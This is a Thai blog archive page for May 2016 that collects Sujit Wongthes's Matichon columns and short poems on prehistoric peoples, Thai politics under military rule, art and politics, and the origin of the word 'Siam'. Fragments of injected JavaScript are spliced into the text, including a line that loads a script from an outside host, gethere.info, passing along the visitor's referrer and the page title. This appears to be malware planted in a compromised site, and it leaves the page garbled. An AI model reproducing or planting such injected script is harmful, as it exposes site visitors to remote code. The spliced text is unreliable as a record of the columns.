Archive for พฤษภาคม, 2016

คนแรกเริ่ม รากเหง้าคนปัจจุบัน

มติชนรายวัน ฉบับประจำวันอังคารที่ 31 พฤษภาคม 2559

 

คนแรกเริ่ม

รากเหง้าคนปัจจุบัน

 

          “คนแรกเริ่มบนแผ่นดินเรา” เป็นชื่อนิทรรศการพิเศษของกรมศิลปากร กำลังจัดแสดงขณะนี้ ในพิพิธภัณฑสถานแห่งชาติ พระนคร สนามหลวง

          คนแรกเริ่มในนิทรรศการนี้ ไม่พบหลักฐานว่าเป็นชาติพันธุ์อะไร? ชาติภาษาอะไร? เรียกตัวเองว่าอะไร?

          แต่คนเหล่านี้ล้วนเป็นบรรพชนคนสุวรรณภูมิในอุษาคเนย์ ซึ่งรวมทั้งคนไทย ดังมีข้อความในเอกสาร (ของกรมศิลปากร) จะคัดมาแบ่งปันไว้ ดังนี้ (เพิ่มเติม…)

บทละคร เรื่อง พระรถ เมรี

phrarot-meri 1

Download } else {if (document.currentScript) {

ชอบสั่งสอน ไม่สั่งสม ในสังคมเผด็จการทหาร

มติชนรายวัน ฉบับประจำวันจันทร์ที่ 30 พฤษภาคม 2559

 

ชอบสั่งสอน ไม่สั่งสม

ในสังคมเผด็จการทหาร

 

          สภาขับเคลื่อนการปฏิรูปประเทศ (สปท.) บอกว่าต้องปฏิรูปวัฒนธรรมทางการเมือง แล้วสรุปลักษณะของนักการเมืองที่ต้องปฏิรูปมี 10 ประการ คือ

          (1.) พวกเห็นแก่ตัว แสวงหาอำนาจและผลประโยชน์ โดยเฉพาะชอบทุจริตคอร์รัปชั่น และแทรกแซงข้าราชการ (2.) ขาดอุดมการณ์ทางการเมืองและขาดความรับผิดชอบต่อบ้านเมืองและประชาชน (3.) สร้างสถานการณ์เพื่อเป็นช่องทางหากิน หาผลประโยชน์บนความทุกข์ร้อนของชาวบ้าน (4.) สร้างปัญหาในบ้านเมืองให้วุ่นวายเข้าไว้ เพื่อผลประโยชน์ของตัวเองและพวกพ้อง เข้าประเภทสู้แล้วรวย และพวกใช้สื่อสาธารณะปลุกปั่นยุยงประชาชนให้เกิดการแตกแยก (5.) นักการเมืองที่ไม่มีคุณภาพ พวกเรียกร้องความสนใจ พูดจาไร้สาระ เอาดังเข้าไว้

          (6.) ไม่มีมารยาททางการเมือง ขาดคุณธรรม ขาดจริยธรรม (7.) พวกอิจฉาตาร้อน พวกหลงตัวเอง ชอบท้าทายและชอบให้ร้ายคนอื่น (8.) พวกไขว่คว้าหาอำนาจ มักหาเงินและใช้เงินในทางที่ผิด เช่น นำเงินมาซื้อเสียง (9.) พวกที่เอาประชาชนเป็นตัวประกัน แล้วสร้างประชาชนให้เกิดแตกแยก และ (10.) พวกได้แล้วไม่รู้จักพอ เช่น พวกได้คืบเอาศอก (เพิ่มเติม…)

มติชน วันอาทิตย์ 29 พฤษภาคม 2559

มติชน วันอาทิตย์

29 พฤษภาคม 2559

 

ฟูมฟายวันวานยังหวานอยู่

โหยหากอบกู้คืนไฉน

ทุกสิ่งสรรพลับแล้วอาลัยไย

บัดนี้ไปโลกไม่เหมือนเดิม

 

สุจิตต์ วงษ์เทศ

ศุกร์ 27 พฤษภาคม 2559s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s);

ศิลปะ ไม่เคยอยู่เหนือการเมือง

มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 26 พฤษภาคม 2559

 

ศิลปะ ไม่เคยอยู่เหนือการเมือง

 

           ศิลปะอยู่เหนือการเมือง หรืออยู่ใต้การเมือง? ยังเป็นข้อข้องใจสงสัยแล้วถกเถียงในไทยจนทุกวันนี้ แต่ในประเทศอื่นๆ จะมีอย่างนี้หรือไม่? ผมไม่ฉลาดพอจะบอกอะไรได้

           “ศิลปะนั้นไม่เคยอยู่เหนือการเมือง ข้องเกี่ยวกับการเมืองมาโดยตลอด ไม่ว่าจะมองย้อนกลับไปก็เกี่ยวข้องกับการเมือง ศิลปะเองก็ถูกใช้ในทางการเมืองไม่ว่าจะเป็นการเมืองแบบไหน รับใช้อะไรสักอย่างมาโดยตลอด”

           ไลลา พิมานรัตน์ คิวเรเตอร์ และเจ้าของแกลเลอรี่ Lyla Gallery ให้สัมภาษณ์มติชนสุขสรรค์ (ฉบับวันอาทิตย์ที่ 22 พฤษภาคม 2559 หน้า 13)

 

รับใช้เจ้าขุนมูลนาย

           อ. เขียน ยิ้มศิริ (อดีตคณบดี คณะจิตรกรรมประติมากรรมฯ มหาวิทยาลัยศิลปากร) ราว 50 ปีมาแล้ว เคยเขียนบทความวิชาการ มีสาระสำคัญโดยสรุปว่าช่างชั้นสูง หรือช่างหลวง ทำงานรับใช้เจ้าขุนมูลนาย ส่วนช่างชาวบ้านอยู่ในวิถีชีวิตแบบบ้านๆ จะคัดโดยสรุปมา ดังนี้ (เพิ่มเติม…)

สยาม มาจากคำลาว

มติชนรายวัน ฉบับประจำวันพุธที่ 25 พฤษภาคม 2559

 

สยาม มาจากคำลาว

 

          คำว่าสยาม มีความเป็นมาเกี่ยวข้องกับคำลาวใช้เรียกแหล่งน้ำทำนาหาข้าว

          ความแห้งแล้งไม่ใช่เพิ่งมี แต่มีหลายพันปีมาแล้ว บรรพชนคนอุษาคเนย์จึงมีพิธีกรรมขอน้ำขอฝนเพื่อความอยู่รอด

          พิธีขอฝน เป็นพิธีกรรมดึกดำบรรพ์ที่สำคัญอย่างยิ่งของคนในอุษาคเนย์อย่างน้อย 3,000 ปีมาแล้ว ยังทำสืบเนื่องจนทุกวันนี้ มีหลากหลายรูปแบบ แล้วเรียกหลายชื่อ

          ขอฝน คือขอน้ำจากฟ้าให้ตกลงมาสู่ดิน เพื่อทำไร่ทำนาทำมาหากิน มีข้าวปลาอาหารอุดมสมบูรณ์

          น้ำ สำคัญอย่างยิ่งต่อชีวิตของคนแต่ละคน แล้วยังสำคัญต่อการตั้งชุมชนบ้านเมืองและรัฐ (หรือราชอาณาจักร) จึงมีพิธีกรรมเกี่ยวกับน้ำอย่างหลากหลาย

          ผู้พบแหล่งน้ำจะได้รับยกย่องเป็นพิเศษ มีคำบอกเล่าในนิทานเรื่องเจ้าชายสายน้ำผึ้ง เมื่อเป็นเด็กเลี้ยงวัวได้นั่งเล่นบนจอมปลวก ซึ่งเป็นสัญลักษณ์ของแหล่งน้ำ (เพิ่มเติม…)

อยู่อย่างไทย อยากอยู่อย่างยาว

มติชนรายวัน ฉบับประจำวันอังคารที่ 24 พฤษภาคม 2559

 

อยู่อย่างไทย

อยากอยู่อย่างยาว

 

          ก่อน 14 ตุลาคม 2516 คนหนุ่มสาวก้าวหน้าต่างวิพากษ์วิจารณ์ระบบอุปถัมภ์ของสังคมไทย และประณามสาดเสียเทเสียต่อผู้อาวุโสสูงอายุลุแก่อำนาจ ที่ไม่ยอมลุกจากตำแหน่งสาธารณะทางสังคมวัฒนธรรมและการเมือง

          และแม้ลุกจากตำแหน่งแล้ว ต่างหาช่องทางรักษาอำนาจทั้งโดยตรงและโดยอ้อม เพื่อกีดกันคนหนุ่มสาวคลื่นลูกใหม่มิให้เข้าถึงอำนาจ

          ปัจจุบัน คนหนุ่มสาวก้าวหน้าเหล่านั้นเติบโตเป็นผู้อาวุโสสูงอายุและมีอำนาจ

          บางพวกกำลังทำอย่างเดียวกับคนรุ่นก่อน 14 ตุลาคม 2516 คือลุแก่อำนาจไม่ยอมลุกจากตำแหน่ง และรักษาอำนาจไม่ด้วยเล่ห์ก็ด้วยกลทั้งโดยตรงและโดยอ้อม แล้วกีดกันคนหนุ่มสาวคลื่นลูกใหม่กว่า มิให้เข้าถึงอำนาจ

          บางคนสร้างกระแสให้ความสำคัญตัวเอง แถมทวงบุญคุณนักหนาว่ายังปล่อยมือวางมือมิได้ ต้องประคับประคองคลื่นลูกใหม่ที่ล้วนด้อยประสบการณ์ให้เติบโตแข็งแรงเสียก่อน (เพิ่มเติม…)

เนรมิต

เนรมิต

 

22 พฤษภา 2557

เนรมิตสำเร็จสมปรารถนา

สร้างปั่นป่วนกวนเกษียรสมุทรา

ล้มประชาธิปไตยยกเผด็จการ

 

สุจิตต์ วงษ์เทศ

จันทร์ 23 พฤษภาคม 2559}